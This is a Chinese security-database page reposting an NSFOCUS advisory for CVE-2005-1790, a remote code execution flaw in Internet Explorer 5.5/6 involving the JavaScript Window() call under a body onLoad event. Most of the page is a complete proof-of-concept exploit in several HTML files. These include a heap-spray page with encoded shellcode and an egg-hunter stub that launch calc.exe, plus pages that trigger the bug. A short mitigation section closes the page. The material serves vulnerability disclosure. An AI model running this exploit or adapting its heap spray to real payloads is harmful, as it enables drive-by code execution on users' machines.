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 您现在的位置 >> 首页 >> 漏洞总汇 >> 常用软件 >> browser
 
 
Microsoft IE JavaScript OnLoad处理器远程执行代码漏洞

【责 编】:AcOol
【作 者】:不详
【添 加】:2005-11-23
【更 新】:2005-11-23
【出 处】:绿盟科技
【字 体】:[   ]
【浏 览】:
受影响系统:
Microsoft Internet Explorer 6.x 
Microsoft Internet Explorer 5.5
描述:
BUGTRAQ  ID: 13799
CVE(CAN) ID: CVE-2005-1790

Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。

如果同<BODY onload>事件使用的话,IE就不能正确的初始化JavaScript "Window()"函数,导致Internet Explorer在试图调用ECX中引用的32位地址时会出现异常:

CALL DWORD [ECX+8]

由于这个漏洞,名为"OBJECT"文本字符串的Unicode表示可能无意中构成ECX,具体来说就是0x006F005B。由于0x006F005B偏移指向无效的或不存在的内存位置,因此Internet Explorer就无法处理,终端用户会遇到拒绝服务。

尽管这个漏洞无法导致控制任何内部寄存器和/或指向任何无法控制的偏移,但某些情况下可能会允许执行远程代码。

<*来源:Benjamin Tobias Franz (0-1-2-3@gmx.de
        Stuart Pearson
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111746394106172&w=2
        http://www.computerterrorism.com/research/ie/ct21-11-2005
        http://www.microsoft.com/technet/security/advisory/911302.mspx
        http://www.kb.cert.org/vuls/id/887861
*>
测试:
<!--
Computer Terrorism (UK)

============================================

Microsoft Internet Explorer JavaScript Window() - Proof Of Concept

============================================

Author:
--------

Stuart Pearson
Computer Terrorism (UK)
www.computerterrorism.com
21st November, 2005


THE FOLLOWING PROOF OF CONCEPT IS PROVIDED EXCLUSIVELY FOR EDUCATIONAL
PURPOSES ONLY, AND IS PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED
WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR COMPUTER TERRORISM
MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE FITNESS
OF THIS CODE FOR ANY PARTICULAR PURPOSE.

PERMISSION TO USE, COPY, PRINT, AND DISTRIBUTE THIS DOCUMENT FOR EDUCATIONAL
PURPOSES IS HEREBY GRANTED, PROVIDED THAT THE TEXTUAL CONTENT REMAINS INTACT
AND UNMODIFIED.
-->

<html>

<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Computer Terrorism - Microsoft Internet Explorer Proof of Concept</title>
<script type="text/javascript">

function runpoc(iframecount)
{

document.getElementById('table1').rows[2].cells[0].innerHTML="<p align=center><B>
<font color=#339966 size=1 face=Arial>&nbsp;&nbsp;&nbsp;&nbsp;loading, please wait....
</font></p>"
document.getElementById('table1').rows[4].cells[0].innerHTML=""
document.getElementById('table1').rows[6].cells[0].innerHTML=""
document.getElementById('table1').rows[7].cells[0].innerHTML=""
document.getElementById('table1').rows[9].cells[0].innerHTML=""


top.consoleRef = open('blankWindow.htm','BlankWindow',
'width=1,height=1'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=0')

top.consoleRef.blur();

top.consoleRef.document.writeln(
'<html>'
+'<head>'
+'<title>CT</title>'
+'</head>'
+'<body onBlur=self.blur()>'
+'</body></html>'
)

self.focus() // Ensure the javascript prompt boxes are hidden in the background


for (i=1 ; i <=iframecount ; i++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=fillmem.htm></iframe>')
}

if( iframecount == 8 ){
//alert('8');
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=bug2k.htm></iframe>')
}

if( iframecount == 4 ){
//alert('4');
top.consoleRef.document.writeln('<iframe width=1 height=1 border=0 frameborder=0
src=bug.htm></iframe>')
}

//+'<iframe width=1 height=1 border=0 frameborder=0 src=bug.htm></iframe>'
//)



}
</script>
</head>

<body onLoad="self.moveTo(0,0);self.resizeTo(screen.width,screen.height);">

<p>&nbsp;</p>
<p>&nbsp;</p>

<table border="0" width="100%" id="table1">
<tr>
<td>
<p align="center"><font color="#333333"><b><font size="1" face="Arial">
Microsoft Internet Explorer JavaScript Window() Proof of Concept</font></b>
</font></td>
</tr>

<tr>
<td width="98%" height="15">
<p align="center"><b><font face="Arial" size="1" color="#333333">Select
your operating system:-</font></b></td>
</tr>
<tr>
<td width="98%" height="10"></td>
</tr>
<tr>
<td width="98%" height="27" align="center">
<p><b><font color="#339966" size="1" face="Arial">
-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font>
<font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(4)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows XP (All Service Packs)</font></span></a><font color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial"> -</font></b></td>
</tr>
<tr>
<td width="98%" height="22" align="center">
<p><b><font color="#339966" size="1" face="Arial">
-</font><font color="#333333"><font color="#333333" size="1" face="Arial"> </font> </font>
<font color="#333333" size="1" face="Arial"><a href="#" onclick="javascript:runpoc(8)">
<span style="text-decoration: none"><font color="#333333">Microsoft
Windows 2000/Universal (Slower)</font></span></a><font color="#333333"> </font></font>
<font color="#339966" size="1" face="Arial"> -</font></b></td>
</tr>
<tr>
<td width="98%" height="15" align="center">
</td>
</tr>
<tr>
<td width="98%" height="15" align="center">
<b><font color="#339966" face="Arial" size="1">invokes calc.exe if
successful</font></b></td>
</tr>
</table>

</body>
</html>

--------------------------------------------------------------------------------------------------------------

<-- blankWindow.htm -->

<HTML>
<TITLE>Blank Window</title>
<body></body>
</html>

--------------------------------------------------------------------------------------------------------------

<--    fillmem.htm   -->

<HTML>
<HEAD>
<Script Language="JavaScript">
function load() {

var spearson=0
var eip = ""
var prep_shellcode = ""
var shellcode = ""
var fillmem = ""


//
// Address called by the bug (also serves as slide code)
//
for (spearson=1 ; spearson <=500 ; spearson++)
{
eip = eip + unescape("%u7030%u4300")
//eip = eip + unescape("%u4300")
}


//
// Create a large chunk for memory saturation
//
for (spearson=1 ; spearson <=200; spearson++)
{
fillmem = fillmem + eip
}

//
// Search for our shellcode (tagged with my initials) and copy to a more stable area
//
prep_shellcode = unescape("%u9090%uBA90%u4142%u4142%uF281%u1111%u1111%u4190" +
"%u1139%uFA75%u9090%uF18B%uF88B%u9057%uc933%ub966" +
"%u002d%ua5F3%u9090%u905f%ue7ff")

//
// Harmless Calc.exe
//
shellcode = unescape("%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF")


fillmem = fillmem + prep_shellcode + shellcode

prompt(fillmem,"Computer Terrorism (UK) Ltd - Internet Explorer Vulnerability")

}
// -->
</Script>
</head>
<TITLE>Windows Explorer Exploit</TITLE>
<body onload="setTimeout('load()',2000)">
test test test
</body>
</html>

--------------------------------------------------------------------------------------------------------------

<--    bug2k.htm   -->

<html>
<TITLE>Crash2</title>
<body onload="setTimeout('main()',20000)">

<SCRIPT>

function main()
{

document.write("<TITLE>hello2</TITLE>")
document.write("<body onload=window();>")

window.location.reload()

}
</SCRIPT>
<br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait !
</FONT></center>


--------------------------------------------------------------------------------------------------------------

<--    bug.htm   -->

<html>
<TITLE>Crash2</title>
<body onload="setTimeout('main()',6000)">

<SCRIPT>

function main()
{

document.write("<TITLE>hello2</TITLE>")
document.write("<body onload=window();>")

window.location.reload()

}
</SCRIPT>
<br><br><br><br><br><br><center><FONT FACE=ARIAL SIZE 12PT>Please Wait !
</FONT></center>
建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在IE选项菜单中禁用活动脚本。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp
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